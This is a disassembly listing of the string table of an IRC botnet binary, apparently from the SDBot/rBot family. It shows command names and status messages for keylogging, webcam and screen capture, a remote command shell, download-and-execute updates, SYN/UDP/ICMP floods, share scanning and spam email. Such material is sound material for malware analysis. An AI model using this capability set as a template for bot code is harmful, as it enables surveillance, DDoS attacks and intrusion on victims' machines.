; DATA XREF: sub_40C50A:loc_40E21Bo
align 4
aIdent db 'ident',0 ; DATA XREF: sub_40C50A+1D1Eo
align 10h
aOn_0 db 'on',0 ; DATA XREF: sub_40C50A+1D33o
align 4
aIdentAlreadyRu db '[IDENT]: Already running.',0 ; DATA XREF: sub_40C50A+1D4Fo
align 10h
aIdentdServer_0 db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: sub_40C50A+1D5Fo
align 4
aIdentdFailed_0 db '[IDENTD]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_40C50A+1DACo
align 4
aOff_0 db 'off',0 ; DATA XREF: sub_40C50A+1DB7o
aIdentServerSto db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0
; DATA XREF: sub_40C50A+1DDAo
align 10h
aIdentNoThreadF db '[IDENT]: No thread found.',0 ; DATA XREF: sub_40C50A:loc_40E2EEo
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_40C50A+1DEEo
align 4
aOn_1 db 'on',0 ; DATA XREF: sub_40C50A+1E03o
align 4
aFile db 'file',0 ; DATA XREF: sub_40C50A+1E14o
align 10h
aKeylogAlreadyR db '[KEYLOG]: Already running.',0 ; DATA XREF: sub_40C50A+1E76o
align 4
aFile_0 db 'file',0 ; DATA XREF: sub_40C50A+1E8Ao
align 4
aKeylogKeyLog_0 db '[KEYLOG]: Key logger active.',0 ; DATA XREF: sub_40C50A+1EF4o
align 4
aKeylogFailedTo db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_40C50A+1F63o
align 4
aOff_1 db 'off',0 ; DATA XREF: sub_40C50A+1E25o
aKeylogKeyLogge db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0
; DATA XREF: sub_40C50A+1E48o
align 4
aKeylogNoKeyLog db '[KEYLOG]: No key logger thread found.',0
; DATA XREF: sub_40C50A:loc_40E35Co
align 10h
aNet db 'net',0 ; DATA XREF: sub_40C50A+1F70o
aStart db 'start',0 ; DATA XREF: sub_40C50A+1FC7o
align 4
aS_13 db '%s',0 ; DATA XREF: sub_40C50A+1FE7o
align 10h
aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: sub_40C50A+2018o
align 10h
aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: sub_40C50A:loc_40E52Co
aStop db 'stop',0 ; DATA XREF: sub_40C50A+202Do
align 4
aS_14 db '%s',0 ; DATA XREF: sub_40C50A+2048o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40C50A+2050o
align 10h
aS_15 db '%s',0 ; DATA XREF: sub_40C50A+206Bo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_40C50A+2076o
align 10h
aS_16 db '%s',0 ; DATA XREF: sub_40C50A+2091o
align 4
aDelete_0 db 'delete',0 ; DATA XREF: sub_40C50A+209Co
align 4
aS_17 db '%s',0 ; DATA XREF: sub_40C50A+20B7o
align 10h
aShare db 'share',0 ; DATA XREF: sub_40C50A+20C2o
align 4
aS_18 db '%s',0 ; DATA XREF: sub_40C50A+20EBo
align 4
aS_19 db '%s',0 ; DATA XREF: sub_40C50A+2103o
align 10h
aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: sub_40C50A+2135o
align 10h
aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: sub_40C50A:loc_40E649o
align 4
aUser_2 db 'user',0 ; DATA XREF: sub_40C50A+214Ao
align 4
aS_20 db '%s',0 ; DATA XREF: sub_40C50A+2183o
align 4
aS_21 db '%s',0 ; DATA XREF: sub_40C50A+21AAo
align 4
aS_22 db '%s',0 ; DATA XREF: sub_40C50A+21BBo
align 10h
aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: sub_40C50A+21EDo
aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: sub_40C50A:loc_40E6FEo
align 4
aSend_1 db 'send',0 ; DATA XREF: sub_40C50A+21FCo
align 10h
aS_23 db '%s',0 ; DATA XREF: sub_40C50A+222Co
align 4
aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: sub_40C50A:loc_40E746o
align 4
aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: sub_40C50A:loc_40E74Do
aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
; DATA XREF: sub_40C50A+1F94o
aCapture db 'capture',0 ; DATA XREF: sub_40C50A+2291o
aCap db 'cap',0 ; DATA XREF: sub_40C50A+22A8o
aScreen db 'screen',0 ; DATA XREF: sub_40C50A:loc_410AB6o
align 4
aCaptureScreenC db '[CAPTURE]: Screen capture saved to: %s.',0 ; DATA XREF: sub_40C50A+45E5o
aCaptureErrorWh db '[CAPTURE]: Error while capturing screen.',0
; DATA XREF: sub_40C50A:loc_410AFFo
align 4
aCaptureNoFilen db '[CAPTURE]: No filename specified for screen capture.',0
; DATA XREF: sub_40C50A:loc_410B06o
align 10h
aDrivers db 'drivers',0 ; DATA XREF: sub_40C50A:loc_410B19o
aCaptureDriverD db '[CAPTURE]: Driver #%d - %s - %s.',0 ; DATA XREF: sub_40C50A+4663o
align 4
aCaptureDriverL db '[CAPTURE]: Driver list complete.',0 ; DATA XREF: sub_40C50A+4699o
align 10h
aFrame db 'frame',0 ; DATA XREF: sub_40C50A:loc_410BB0o
align 4
aCaptureWebcamC db '[CAPTURE]: Webcam capture saved to: %s.',0 ; DATA XREF: sub_40C50A+4722o
aCaptureError_0 db '[CAPTURE]: Error while capturing from webcam.',0
; DATA XREF: sub_40C50A:loc_410C3Co
align 10h
aCaptureInvalid db '[CAPTURE]: Invalid parameters for webcam capture.',0
; DATA XREF: sub_40C50A:loc_410C43o
align 4
aVideo db 'video',0 ; DATA XREF: sub_40C50A:loc_410C56o
align 4
aCaptureAmateur db '[CAPTURE]: Amateur video saved to: %s.',0 ; DATA XREF: sub_40C50A+47D1o
align 4
aCaptureError_1 db '[CAPTURE]: Error while capturing amateur video from webcam.',0
; DATA XREF: sub_40C50A:loc_410CE5o
aCaptureInval_0 db '[CAPTURE]: Invalid parameters for amateur video capture.',0
; DATA XREF: sub_40C50A:loc_410CEFo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_40C50A+22BFo
aGh db 'gh',0 ; DATA XREF: sub_40C50A+22D6o
align 4
aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+4510o
align 4
aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_40C50A+4537o
align 4
aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0
; DATA XREF: sub_40C50A+4553o
align 4
aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_40C50A+458Eo
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_40C50A+22FFo
align 4
aAa db 'aa',0 ; DATA XREF: sub_40C50A+2316o
align 10h
aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_40C50A+44B8o
align 4
aPrivmsg_2 db 'privmsg',0 ; DATA XREF: sub_40C50A+232Do
aPm_0 db 'pm',0 ; DATA XREF: sub_40C50A+2344o
align 4
aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_40C50A+447Do
align 4
aAction db 'action',0 ; DATA XREF: sub_40C50A+235Bo
align 4
aA_1: ; DATA XREF: sub_40C50A+2372o
unicode 0, <a>,0
dword_440C00 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40C50A+4408o
aMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_40C50A+4427o
aCycle db 'cycle',0 ; DATA XREF: sub_40C50A+2389o
align 4
aCy db 'cy',0 ; DATA XREF: sub_40C50A+23A0o
align 10h
a332_2 db '332',0 ; DATA XREF: sub_40C50A+436Eo
aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4385o
align 10h
aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+43B2o
align 10h
aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: sub_40C50A+43BFo
align 10h
aMode db 'mode',0 ; DATA XREF: sub_40C50A+23B7o
align 4
aM: ; DATA XREF: sub_40C50A+23CEo
unicode 0, <m>,0
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4348o
align 4
aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_40C50A+4356o
aC_raw db 'c_raw',0 ; DATA XREF: sub_40C50A+23E5o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_40C50A+23FCo
aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4300o
align 4
aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_40C50A+431Fo
align 4
aC_mode db 'c_mode',0 ; DATA XREF: sub_40C50A+2413o
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_40C50A+242Ao
aModeS db 'MODE %s',0 ; DATA XREF: sub_40C50A+425Fo
aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4295o
align 4
aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_40C50A+42B4o
align 10h
aC_nick db 'c_nick',0 ; DATA XREF: sub_40C50A+2441o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_40C50A+2458o
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40C50A+41D4o
aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4209o
align 4
aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_40C50A+422Ao
align 4
aC_join db 'c_join',0 ; DATA XREF: sub_40C50A+246Fo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_40C50A+2486o
aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_40C50A+418Fo
align 4
aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+41C4o
align 4
aC_part db 'c_part',0 ; DATA XREF: sub_40C50A+249Do
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_40C50A+24B4o
aPartS db 'PART %s',0 ; DATA XREF: sub_40C50A+4125o
aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+415Ao
align 10h
aRepeat db 'repeat',0 ; DATA XREF: sub_40C50A+24CBo
align 4
aRp db 'rp',0 ; DATA XREF: sub_40C50A+24E2o
align 4
a332_1 db '332',0 ; DATA XREF: sub_40C50A+405Co
aRepeat_0 db 'repeat',0 ; DATA XREF: sub_40C50A+408Ao
align 4
aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+40B5o
align 4
aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_40C50A+40DBo
align 4
aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0
; DATA XREF: sub_40C50A:loc_41061Co
align 4
aDelay db 'delay',0 ; DATA XREF: sub_40C50A+24F9o
align 4
aDe db 'de',0 ; DATA XREF: sub_40C50A+2510o
align 4
a332_0 db '332',0 ; DATA XREF: sub_40C50A+3FC1o
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+4002o
align 4
aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: sub_40C50A:loc_41054Co
align 4
aFalehupd db 'falehupd',0 ; DATA XREF: sub_40C50A+2527o
align 4
aUfalehupdp db 'ufalehupdp',0 ; DATA XREF: sub_40C50A+253Eo
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40C50A+3E92o
align 10h
aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_40C50A+3F38o
align 4
aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3FA7o
aUpdateBotIdMus db '[UPDATE]: Bot ID must be different than current running process.',0
; DATA XREF: sub_40C50A:loc_4104BBo
align 4
aExecute db 'execute',0 ; DATA XREF: sub_40C50A+2555o
aE: ; DATA XREF: sub_40C50A+256Co
unicode 0, <e>,0
aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_40C50A+3E28o
align 10h
aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_40C50A+3E33o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_40C50A+2583o
align 4
aFf_0 db 'ff',0 ; DATA XREF: sub_40C50A+259Ao
align 4
aFindfileSear_0 db '[FINDFILE]: Searching for file: %s in: %s.',0
; DATA XREF: sub_40C50A+3D26o
align 4
aFindfileFailed db '[FINDFILE]: Failed to start search thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3DA0o
aRename db 'rename',0 ; DATA XREF: sub_40C50A+25B1o
align 4
aMv db 'mv',0 ; DATA XREF: sub_40C50A+25C8o
align 4
aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_40C50A+3C70o
align 4
aFile_1 db '[FILE]:',0 ; DATA XREF: sub_40C50A:loc_410192o
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40C50A+25DFo
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_40C50A+25F6o
align 4
aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_40C50A+3BCAo
align 4
aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3C44o
align 10h
aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0
; DATA XREF: sub_40C50A:loc_410158o
align 4
aClone_0 db 'clone',0 ; DATA XREF: sub_40C50A+261Fo
align 4
aC: ; DATA XREF: sub_40C50A+2636o
unicode 0, <c>,0
aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0
; DATA XREF: sub_40C50A+3AE4o
align 4
aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3B53o
align 4
aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_40C50A+264Do
align 10h
aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_40C50A+2664o
align 4
aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_40C50A+267Bo
aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_40C50A+39E4o
align 4
aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3A5Co
align 4
aSynflood db 'synflood',0 ; DATA XREF: sub_40C50A+2692o
align 4
aSyn_0 db 'syn',0 ; DATA XREF: sub_40C50A+26A9o
aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_40C50A+38D5o
align 4
aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+394Fo
align 4
aFalehdownl db 'falehdownl',0 ; DATA XREF: sub_40C50A+26C0o
align 4
aFalehdownl2 db 'falehdownl2',0 ; DATA XREF: sub_40C50A+26D7o
aDownloadDown_1 db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_40C50A+37F6o
aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3865o
align 4
aRedirect_0 db 'redirect',0 ; DATA XREF: sub_40C50A+26EEo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_40C50A+2705o
align 4
aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
; DATA XREF: sub_40C50A+36B8o
aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3727o
align 4
aScan_1 db 'scan',0 ; DATA XREF: sub_40C50A+271Co
align 4
aSc db 'sc',0 ; DATA XREF: sub_40C50A+2733o
align 4
aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
; DATA XREF: sub_40C50A+35BEo
align 10h
aScanFailedTo_3 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: sub_40C50A+362Do
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_40C50A+274Ao
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_40C50A+2761o
align 4
aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_40C50A+353Ao
align 4
aC_action db 'c_action',0 ; DATA XREF: sub_40C50A+2778o
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_40C50A+278Fo
dword_441368 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40C50A+33AFo
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40C50A+343Do
align 4
aFofofo db 'fofofo',0 ; DATA XREF: sub_40C50A+27B8o
align 4
aF0f0f0 db 'f0f0f0',0 ; DATA XREF: sub_40C50A+27CFo
align 4
aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0
; DATA XREF: sub_40C50A+3022o
align 10h
aScanFailedTo_0 db '[SCAN]: Failed to start scan, port is invalid.',0
; DATA XREF: sub_40C50A+3114o
align 10h
aScanFailedTo_1 db '[SCAN]: Failed to start scan, no IP specified.',0
; DATA XREF: sub_40C50A+3171o
align 10h
aRandom_0 db 'Random',0 ; DATA XREF: sub_40C50A+32AFo
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40C50A+32B6o
align 4
aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
; DATA XREF: sub_40C50A+32E1o
db 'for %d minutes using %d threads.',0
align 4
aScanFailedTo_2 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: sub_40C50A+3350o
align 4
aUdpflood db 'udpflood',0 ; DATA XREF: sub_40C50A+27E6o
align 4
aUdp db 'udp',0 ; DATA XREF: sub_40C50A+27FDo
aU: ; DATA XREF: sub_40C50A+2814o
unicode 0, <u>,0
aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
; DATA XREF: sub_40C50A+2F82o
db 0
align 4
aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+2FF1o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_40C50A+282Bo
align 4
aPing_1 db 'ping',0 ; DATA XREF: sub_40C50A+2842o
align 4
aP: ; DATA XREF: sub_40C50A+2859o
unicode 0, <p>,0
aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
; DATA XREF: sub_40C50A+2E3Bo
db 0
align 4
aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+2EA6o
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40C50A+2EBBo
align 10h
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_40C50A+2870o
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_40C50A+2887o
aSyn_1 db 'syn',0 ; DATA XREF: sub_40C50A+2C2Fo
aAck db 'ack',0 ; DATA XREF: sub_40C50A+2C47o
aRandom db 'random',0 ; DATA XREF: sub_40C50A+2C5Eo
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40C50A+2D03o
aNormal db 'Normal',0 ; DATA XREF: sub_40C50A+2D0Ao
align 10h
aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_40C50A+2D1Ao
align 10h
aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_40C50A+2D94o
align 4
aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0
; DATA XREF: sub_40C50A:loc_40F2A8o
align 4
aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_40C50A+2C6Eo
align 10h
aEmail db 'email',0 ; DATA XREF: sub_40C50A+289Eo
align 4
asc_441708: ; DATA XREF: sub_40C50A+28E8o
unicode 0, < >,0
a__2: ; DATA XREF: sub_40C50A+28EDo
unicode 0, <_>,0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40C50A+2989o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_40C50A+29FDo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_40C50A+2A19o
aHcon db 'hcon',0 ; DATA XREF: sub_40C50A+2A30o
align 4
aUpload db 'upload',0 ; DATA XREF: sub_40C50A+2A53o
align 4
aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_40C50A+2A76o
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40C50A+2AFCo
align 10h
aAb db 'ab',0 ; DATA XREF: sub_40C50A+2B0Do
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40C50A+2B31o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSS_11 db '-s:%s',0 ; DATA XREF: sub_40C50A+2B51o
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40C50A+2B68o
aOpen_1 db 'open',0 ; DATA XREF: sub_40C50A+2B6Do
align 10h
aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_40C50A+2B7Fo
align 4
aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0
; DATA XREF: sub_40C50A:loc_40F090o
align 10h
aRedirectClient db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_412814+E1o
align 4
aRedirectFail_0 db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_412814+156o
aRedirectClie_0 db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_41299C+E1o
align 4
aRedirectFail_1 db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
; DATA XREF: sub_41299C+1AAo
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_412C88+33o
aS_31 db '%s',0 ; DATA XREF: sub_412C88+4Co
align 4
aCmdCouldNotRea db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
; DATA XREF: sub_412D0F:loc_412DF5o
align 4
aCmdProccessHas db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_412D0F+10Fo
align 4
aCmdCouldNotR_0 db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
; DATA XREF: sub_412D0F:loc_412E41o
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_412E64+20o
aCmdRemoteComma db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_412E64+150o
align 10h
aCmdFailedToSta db '[CMD]: Failed to start IO thread, error: <%d>.',0
; DATA XREF: sub_412E64+198o
align 10h
aRlogindErrorGe db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_41301C+E1o
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41301C+172o
align 4
aRlogindUserLog db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_41301C+1A2o
aRlogindErrorSe db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_41301C+1C2o
align 4
aRlogindUserL_0 db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_41301C+1E9o
align 10h
aRlogindProtoco db '[RLOGIND]: Protocol string too long.',0
; DATA XREF: sub_413221:loc_413266o
align 4
aRlogindLoginRe db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
; DATA XREF: sub_41327B+1Bo
align 4
aRlogindLogin_0 db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
align 10h
aRlogindErrorWs db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_4132AA+3Do
align 4
aRlogindFaile_0 db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
; DATA XREF: sub_4132AA+70o
align 4
aRlogindReadyAn db '[RLOGIND]: Ready and waiting for incoming connections.',0
; DATA XREF: sub_4132AA+106o
align 10h
aRlogindClientC db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_4132AA+177o
aRlogindFaile_1 db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_4132AA+1FBo
align 4
aRlogindError_0 db '[RLOGIND]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_4132AA+219o
align 10h
aConst db 'const',0
align 4
dd 0
dword_441CCC dd 1 ; DATA XREF: sub_4138AA+7o
off_441CD0 dd offset sub_413532 ; DATA XREF: sub_4138AA+49r
aLetter db 'letter',0
align 10h
dd 2, 413590h, 706D6F63h, 2 dup(0)
dd 3, 4135DDh, 6E756F63h, 797274h, 0
dd 4, 413683h, 736Fh, 2 dup(0)
dd 5, 4136F8h
dword_441D24 dd 7325h ; DATA XREF: sub_413532+19o
aSI_2 db '%s%i',0 ; DATA XREF: sub_413532+40o
align 10h
aPc db 'PC',0 ; DATA XREF: .text:004135E3o
; sub_4138AA+39o
align 4
aPc_0 db 'PC',0 ; DATA XREF: .text:0041360Do
align 4
aPc_1 db 'PC',0 ; DATA XREF: .text:00413639o
align 4
aSI db '%s%i',0 ; DATA XREF: .text:00413664o
align 4
aS_32 db '%s|',0 ; DATA XREF: .text:004136B2o
aSI_0 db '%s%i',0 ; DATA XREF: .text:004136D9o
align 10h
a95 db '95',0 ; DATA XREF: .text:00413747o
align 4
aNt db 'NT',0 ; DATA XREF: .text:00413755o
align 4
a98 db '98',0 ; DATA XREF: .text:00413765o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:00413775o
align 10h
a2k db '2K',0 ; DATA XREF: .text:0041378Eo
align 4
aXp db 'XP',0 ; DATA XREF: .text:0041379Eo
align 4
a2k3 db '2K3',0 ; DATA XREF: .text:004137ACo
a??? db '???',0 ; DATA XREF: .text:loc_4137B3o
aS_33 db '[%s]|',0 ; DATA XREF: .text:004137BCo
align 4
aSI_1 db '%s%i',0 ; DATA XREF: .text:004137E3o
align 10h
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_413802+1Fo
align 4
aM_0 db '[M]',0 ; DATA XREF: sub_413802+2Co
aDS db '[%d]%s',0 ; DATA XREF: sub_413802+3Ao
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_413802:loc_413851o
align 4
aM_1 db '[M]',0 ; DATA XREF: sub_413802+5Co
aScanIpSPortD_0 db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_413913+92o
align 4
aScanScanningIp db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_4139E0+41o
align 4
off_441DE8 dd offset aIpc ; DATA XREF: sub_413B31+1B3o
; sub_413E55+179o
; "IPC$"
align 10h
dd offset aAdmin_1 ; "ADMIN$"
align 8
off_441DF8 dd offset aC_4 ; DATA XREF: sub_413E55+1E1o
; "C$"
dd offset aC_5 ; "C:\\"
dd offset aD_2 ; "D$"
dd offset aD_3 ; "D:\\"
aIpc db 'IPC$',0 ; DATA XREF: sub_413B31+217o
; .data:off_441DE8o
align 10h
aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:00441DF0o
align 4
aC_4 db 'C$',0 ; DATA XREF: .data:off_441DF8o
align 4
aC_5 db 'C:\',0 ; DATA XREF: .data:00441DFCo
aD_2 db 'D$',0 ; DATA XREF: .data:00441E00o
align 4
aD_3 db 'D:\',0 ; DATA XREF: .data:00441E04o
word_441E28 dw 4Eh ; DATA XREF: sub_413B31+38r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_413B31+54o
align 4
aSecureDisableD db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_413B31+66o
align 4
aSecureDcomDisa db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_413B31:loc_413B9Eo
align 4
aSecureFailed_1 db '[SECURE]: Failed to open DCOM registry key.',0
; DATA XREF: sub_413B31+91o
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_413B31+EDo
align 4
aSecureFailed_2 db '[SECURE]: Failed to restrict access to the IPC$ Share.',0
; DATA XREF: sub_413B31+106o
align 4
aSecureRestrict db '[SECURE]: Restricted access to the IPC$ Share.',0
; DATA XREF: sub_413B31:loc_413C3Eo
align 4
aSecureFailed_3 db '[SECURE]: Failed to open IPC$ Restriction registry key.',0
; DATA XREF: sub_413B31:loc_413C5Co
aSecureAdvapi32 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0
; DATA XREF: sub_413B31:loc_413C63o
align 10h
aSecureShareS_0 db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0
; DATA XREF: sub_413B31+25Bo
align 10h
aSecureFailed_5 db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0
; DATA XREF: sub_413B31:loc_413D93o
align 4
aSecureShareSDe db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0
; DATA XREF: sub_413B31+1C8o
align 4
aSecureFailed_4 db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0
; DATA XREF: sub_413B31:loc_413D00o
align 10h
